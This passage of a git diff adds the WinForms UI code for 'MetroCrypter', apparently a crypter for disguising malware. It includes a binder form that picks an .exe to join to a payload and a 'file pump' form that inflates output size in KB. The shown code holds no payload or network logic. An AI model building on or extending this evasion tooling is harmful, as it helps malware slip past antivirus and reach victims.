iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAADlJREFUSEtj + GAWjYBSMAhqC////swGxBxUwG9RITACUlABiagAJqJGYAChJe5+MglEwCkYBpYCBAQCCZ8UdjjBdtAAA + AABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAtNJREFUWEfN + mElrFEEYhidoYrxFUdSLCRIDcSEHkeBBicYoAZHcPKgg/gFPXrwEZERM8Gf4F1QQ8abgSdwwbuBF3DXu + 4DI+b/VXTqVnulPTPeg88DDT9b1VU9MzvVRXWqFWq3XjfjyDl/AJvgvU9kWs4j7stq7tg0HX4Qy+wlZ4 + iedwrQ1VHAZZjqfxG2bxC7VXfrut5nzFaey1oVuDjlvwHqZRm/bSXhxA91Pw2mPbap/F+5jmLm5yHxAL + HSbwk3oHXMXtFomC/CheU+eAjzhukXwI7sHv6mW8wQNWLgT9D+JbDWZo/DErN4fAMM4rbWhXD1q5FIyz + ER9oUOM9Dll5IRR68Y5SxhyusHJbYLyV+EiDG7dwmZXr0Khzg+c1DlgpF3JTqL5T1pQLuSHUXvFMWymB + hjWow89zyEq5kNMfPWTCSrmQO5LEHZ9xtZVc8axrTriBXVbKhdwx16POcSvlQq4Lb7oeCVVfWIovXFPC + TleIgGwf6tDVSU+vfVZaFLK70fMcl6hRJynPnGX/CXze4+RjHWNqCH+iGctFQX4ELwSOWCkK8ufRU1XD + leS9I/9ElIL8ZNLtL5NWioJ8+FNdVsOz5L1jveWiIF92MquSbo6navDXIF11eywXBflSkxH08ZeeeW38 + TN7XPlg9Gvq0YzI6EsUPbXTUnumo/0xHHU1lzjNlJ9Nwnil8BiZfdjINZ+Ay16bCkyHbeG2yQtGrdqHJ + kGt+1RZsFL2fKTqZ7PsZQcMpV0rQuWerlTIh048nAvutlAmZbRh+8ZNWqkNj59wDCwrp1YEmNGzlUjDO + ZnyoQY3s1YGHQHrdpMkdxqg/dRr1w6OoxZtn8XWTR0EMF13iOo5aJAryO1BHZ4gWhbssEgcdBvG2eqfw + a23twQX3vNrGccxaa+s/ssHirUHHmKcQ/tmMvxVoRrmnECEM8v+fz6Rh0GZPrr6g0GuJJ1eVyh8z/zFc + KgiA5QAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.Designer.cs new file mode 100644 index 0000000..62295ca --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.Designer.cs @@ -0,0 +1,47 @@ +namespace MetroCrypter.Forms +{ + partial class Binding + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // Binding + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 261); + this.Name = "Binding"; + this.Text = "Binding"; + this.Load += new System.EventHandler(this.Binding_Load); + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.cs new file mode 100644 index 0000000..467ce51 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.cs @@ -0,0 +1,203 @@ +using MetroCrypter; +using MetroFramework.Controls; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Resources; +using System.Windows.Forms; + +namespace MetroCrypter.Forms +{ + public class Binding : Form + { + private IContainer components = null; + + private Button button2; + + private Button button6; + + private MetroTextBox bFilename; + + private Button button1; + + private Button button3; + + public Binding() + { + this.InitializeComponent(); + } + + private void Binding_Load(object sender, EventArgs e) + { + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + MessageBox.Show("This function is currently disabled please try again later"); + if ((!string.IsNullOrEmpty(this.bFilename.Text) ? true : !Form1.CID.BindReply)) + { + Form1.CID.binding = this.bFilename.Text; + base.Close(); + } + else + { + MessageBox.Show("You didn't enter everything"); + } + } + + private void button3_Click(object sender, EventArgs e) + { + if (!Form1.CID.BindReply) + { + this.button2.Enabled = true; + Form1.CID.BindReply = true; + this.button3.Text = "Enabled"; + } + else + { + Form1.CID.BindReply = false; + this.button2.Enabled = false; + this.button3.Text = "Disabled"; + } + } + + private void button6_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + openFileDialog.Filter = "Binding File|*.exe"; + this.bFilename.Text = openFileDialog.FileName; + } + if (openFileDialog.FileName != string.Empty) + { + MessageBox.Show(string.Concat("Loaded ", openFileDialog.SafeFileName, " Succesfully")); + } + } + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(MetroCrypter.Forms.Binding)); + this.button2 = new Button(); + this.button6 = new Button(); + this.bFilename = new MetroTextBox(); + this.button1 = new Button(); + this.button3 = new Button(); + base.SuspendLayout(); + this.button2.BackColor = Color.FromArgb(85, 94, 102); + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.button2.ForeColor = Color.White; + this.button2.Location = new Point(91, 126); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(181, 27); + this.button2.TabIndex = 38; + this.button2.Text = "Apply"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click); + this.button6.AllowDrop = true; + this.button6.BackColor = Color.FromArgb(34, 36, 39); + this.button6.BackgroundImageLayout = ImageLayout.None; + this.button6.FlatAppearance.BorderSize = 0; + this.button6.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button6.FlatStyle = FlatStyle.Flat; + this.button6.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button6.Image = (Image)componentResourceManager.GetObject("button6.Image"); + this.button6.Location = new Point(275, 56); + this.button6.Name = "button6"; + this.button6.Size = new System.Drawing.Size(57, 23); + this.button6.TabIndex = 54; + this.button6.TextImageRelation = TextImageRelation.ImageAboveText; + this.button6.UseVisualStyleBackColor = false; + this.button6.Click += new EventHandler(this.button6_Click); + this.bFilename.get_CustomButton().set_Image(null); + this.bFilename.get_CustomButton().Location = new Point(159, 1); + this.bFilename.get_CustomButton().Name = ""; + this.bFilename.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.bFilename.get_CustomButton().set_Style(4); + this.bFilename.get_CustomButton().TabIndex = 1; + this.bFilename.get_CustomButton().set_Theme(1); + this.bFilename.get_CustomButton().set_UseSelectable(true); + this.bFilename.get_CustomButton().Visible = false; + this.bFilename.set_Lines(new string[0]); + this.bFilename.Location = new Point(91, 57); + this.bFilename.set_MaxLength(32767); + this.bFilename.MinimumSize = new System.Drawing.Size(181, 23); + this.bFilename.Name = "bFilename"; + this.bFilename.set_PasswordChar('\0'); + this.bFilename.set_PromptText("File Name"); + this.bFilename.set_ScrollBars(ScrollBars.None); + this.bFilename.set_SelectedText(""); + this.bFilename.set_SelectionLength(0); + this.bFilename.set_SelectionStart(0); + this.bFilename.set_ShortcutsEnabled(true); + this.bFilename.Size = new System.Drawing.Size(181, 23); + this.bFilename.set_Style(3); + this.bFilename.TabIndex = 55; + this.bFilename.set_UseSelectable(true); + this.bFilename.set_WaterMark("File Name"); + this.bFilename.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.bFilename.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.button1.BackColor = Color.Transparent; + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray; + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(332, 0); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 31); + this.button1.TabIndex = 56; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.button3.BackColor = Color.FromArgb(85, 94, 102); + this.button3.FlatAppearance.BorderSize = 0; + this.button3.FlatStyle = FlatStyle.Flat; + this.button3.ForeColor = Color.White; + this.button3.Location = new Point(12, 12); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 23); + this.button3.TabIndex = 57; + this.button3.Text = "Disabled"; + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new EventHandler(this.button3_Click); + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(34, 36, 39); + base.ClientSize = new System.Drawing.Size(362, 168); + base.Controls.Add(this.button3); + base.Controls.Add(this.button1); + base.Controls.Add(this.bFilename); + base.Controls.Add(this.button6); + base.Controls.Add(this.button2); + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.MaximumSize = new System.Drawing.Size(362, 168); + base.Name = "Binding"; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = "Binding"; + base.Load += new EventHandler(this.Binding_Load); + base.ResumeLayout(false); + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.resx new file mode 100644 index 0000000..6497a58 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Binding.resx @@ -0,0 +1,140 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt + lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan + KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP + IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8 + +Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA + nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu + QmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAAIpJREFUSEvt + kEEKgzAQAJOD/2qLID30L2Kfob5CCqVfaUufFCfLGmqPTUAPOzDEzeRg4gzD2BkhBI8XvOrqNQm5fTnw + wCcO+MI7ysG44t9dYDhrqHSu8INNiS4wxCv2OgrMI3b6ndUFhhrf+PsnpxI9wcYNv9900iTk9gThiC0e + dGtFbjcMY1OcmwH/J3CMIo+FLwAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.Designer.cs new file mode 100644 index 0000000..231bd47 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.Designer.cs @@ -0,0 +1,47 @@ +namespace MetroCrypter.Forms +{ + partial class FilePump + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // FilePump + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 261); + this.Name = "FilePump"; + this.Text = "FilePump"; + this.Load += new System.EventHandler(this.FilePump_Load); + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.cs new file mode 100644 index 0000000..a33bf4b --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.cs @@ -0,0 +1,208 @@ +using MetroCrypter; +using MetroFramework.Controls; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Resources; +using System.Windows.Forms; + +namespace MetroCrypter.Forms +{ + public class FilePump : Form + { + private Popup pop; + + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private IContainer components = null; + + private Button button1; + + private MetroTextBox FilePumpTxt; + + private Label label1; + + private Button button2; + + private Button button3; + + public FilePump() + { + this.InitializeComponent(); + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + if ((string.IsNullOrEmpty(this.FilePumpTxt.Text) ? true : !Form1.CID.fpreply)) + { + this.pop = new Popup("You didn't enter anything!"); + this.pop.Show(); + } + else + { + base.Close(); + Form1.CID.txtPump = this.FilePumpTxt.Text; + } + } + + private void button3_Click(object sender, EventArgs e) + { + if (!Form1.CID.fpreply) + { + this.button2.Enabled = true; + Form1.CID.fpreply = true; + this.button3.Text = "Enabled"; + } + else + { + this.button2.Enabled = false; + Form1.CID.fpreply = false; + this.button3.Text = "Disabled"; + } + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void FilePump_Load(object sender, EventArgs e) + { + this.FilePumpTxt.Text = Form1.CID.txtPump; + if (!Form1.CID.fpreply) + { + this.button3.Text = "Disabled"; + } + else + { + this.button2.Enabled = true; + this.button3.Text = "Enabled"; + } + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(FilePump)); + this.button1 = new Button(); + this.FilePumpTxt = new MetroTextBox(); + this.label1 = new Label(); + this.button2 = new Button(); + this.button3 = new Button(); + base.SuspendLayout(); + this.button1.BackColor = Color.Transparent; + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray; + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(279, 0); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 31); + this.button1.TabIndex = 31; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.FilePumpTxt.get_CustomButton().set_Image(null); + this.FilePumpTxt.get_CustomButton().Location = new Point(97, 1); + this.FilePumpTxt.get_CustomButton().Name = ""; + this.FilePumpTxt.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.FilePumpTxt.get_CustomButton().set_Style(4); + this.FilePumpTxt.get_CustomButton().TabIndex = 1; + this.FilePumpTxt.get_CustomButton().set_Theme(1); + this.FilePumpTxt.get_CustomButton().set_UseSelectable(true); + this.FilePumpTxt.get_CustomButton().Visible = false; + this.FilePumpTxt.set_Lines(new string[0]); + this.FilePumpTxt.Location = new Point(92, 53); + this.FilePumpTxt.set_MaxLength(32767); + this.FilePumpTxt.Name = "FilePumpTxt"; + this.FilePumpTxt.set_PasswordChar('\0'); + this.FilePumpTxt.set_ScrollBars(ScrollBars.None); + this.FilePumpTxt.set_SelectedText(""); + this.FilePumpTxt.set_SelectionLength(0); + this.FilePumpTxt.set_SelectionStart(0); + this.FilePumpTxt.set_ShortcutsEnabled(true); + this.FilePumpTxt.Size = new System.Drawing.Size(119, 23); + this.FilePumpTxt.set_Style(3); + this.FilePumpTxt.TabIndex = 32; + this.FilePumpTxt.set_UseSelectable(true); + this.FilePumpTxt.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.FilePumpTxt.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Arial", 12f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.label1.ForeColor = Color.White; + this.label1.Location = new Point(224, 56); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(33, 19); + this.label1.TabIndex = 33; + this.label1.Text = "KB"; + this.button2.BackColor = Color.FromArgb(85, 94, 102); + this.button2.Enabled = false; + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.ForeColor = Color.White; + this.button2.Location = new Point(117, 102); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(75, 23); + this.button2.TabIndex = 34; + this.button2.Text = "Apply"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click); + this.button3.BackColor = Color.FromArgb(85, 94, 102); + this.button3.FlatAppearance.BorderSize = 0; + this.button3.FlatStyle = FlatStyle.Flat; + this.button3.ForeColor = Color.White; + this.button3.Location = new Point(12, 12); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 23); + this.button3.TabIndex = 36; + this.button3.Text = "Disabled"; + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new EventHandler(this.button3_Click); + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(33, 35, 38); + base.ClientSize = new System.Drawing.Size(308, 137); + base.Controls.Add(this.button3); + base.Controls.Add(this.button2); + base.Controls.Add(this.label1); + base.Controls.Add(this.FilePumpTxt); + base.Controls.Add(this.button1); + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.MaximumSize = new System.Drawing.Size(308, 137); + this.MinimumSize = new System.Drawing.Size(308, 137); + base.Name = "FilePump"; + base.ShowIcon = false; + base.ShowInTaskbar = false; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = "FilePump"; + base.Load += new EventHandler(this.FilePump_Load); + base.ResumeLayout(false); + base.PerformLayout(); + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.resx new file mode 100644 index 0000000..8720189 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/FilePump.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt + lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan + KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP + IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8 + +Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA + nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu + QmCC + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.Designer.cs new file mode 100644 index 0000000..a483894 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.Designer.cs @@ -0,0 +1,47 @@ +namespace MetroCrypter.Forms +{ + partial class Popup + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // Popup + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 261); + this.Name = "Popup"; + this.Text = "Popup"; + this.Load += new System.EventHandler(this.Popup_Load); + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.cs new file mode 100644 index 0000000..1f2de03 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.cs @@ -0,0 +1,107 @@ +using System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace MetroCrypter.Forms +{ + public class Popup : Form + { + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private IContainer components = null; + + private Button button2; + + private TextBox textBox1; + + public Popup(string text) + { + this.InitializeComponent(); + this.textBox1.Text = text; + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + base.Close(); + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.button2 = new Button(); + this.textBox1 = new TextBox(); + base.SuspendLayout(); + this.button2.BackColor = Color.FromArgb(85, 94, 102); + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Arial", 11.25f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button2.ForeColor = Color.WhiteSmoke; + this.button2.Location = new Point(124, 86); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(75, 23); + this.button2.TabIndex = 32; + this.button2.Text = "Ok"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click); + this.textBox1.BackColor = Color.FromArgb(33, 35, 38); + this.textBox1.BorderStyle = BorderStyle.None; + this.textBox1.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.textBox1.ForeColor = Color.White; + this.textBox1.Location = new Point(12, 37); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(299, 43); + this.textBox1.TabIndex = 33; + this.textBox1.Text = "example"; + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(33, 35, 38); + base.ClientSize = new System.Drawing.Size(323, 123); + base.Controls.Add(this.textBox1); + base.Controls.Add(this.button2); + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow; + this.MaximumSize = new System.Drawing.Size(339, 162); + base.Name = "Popup"; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = "Popup"; + base.Load += new EventHandler(this.Popup_Load); + base.ResumeLayout(false); + base.PerformLayout(); + } + + private void label1_Click(object sender, EventArgs e) + { + } + + private void Popup_Load(object sender, EventArgs e) + { + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.resx new file mode 100644 index 0000000..29dcb1b --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Popup.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.Designer.cs new file mode 100644 index 0000000..bf6e7a5 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.Designer.cs @@ -0,0 +1,47 @@ +namespace MetroCrypter.Forms +{ + partial class ProfileDialog + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // ProfileDialog + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 261); + this.Name = "ProfileDialog"; + this.Text = "ProfileDialog"; + this.Load += new System.EventHandler(this.ProfileDialog_Load); + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.cs new file mode 100644 index 0000000..142ff76 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.cs @@ -0,0 +1,281 @@ +using MetroCrypter; +using MetroFramework.Components; +using System; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Resources; +using System.Windows.Forms; + +namespace MetroCrypter.Forms +{ + public class ProfileDialog : Form + { + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private IContainer components = null; + + private Button button3; + + private Button button2; + + private Button button1; + + private Button button4; + + private SaveFileDialog saveFileDialog1; + + private MetroToolTip metroToolTip1; + + private OpenFileDialog openFileDialog1; + + public ProfileDialog() + { + this.InitializeComponent(); + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + this.openFileDialog1.Filter = 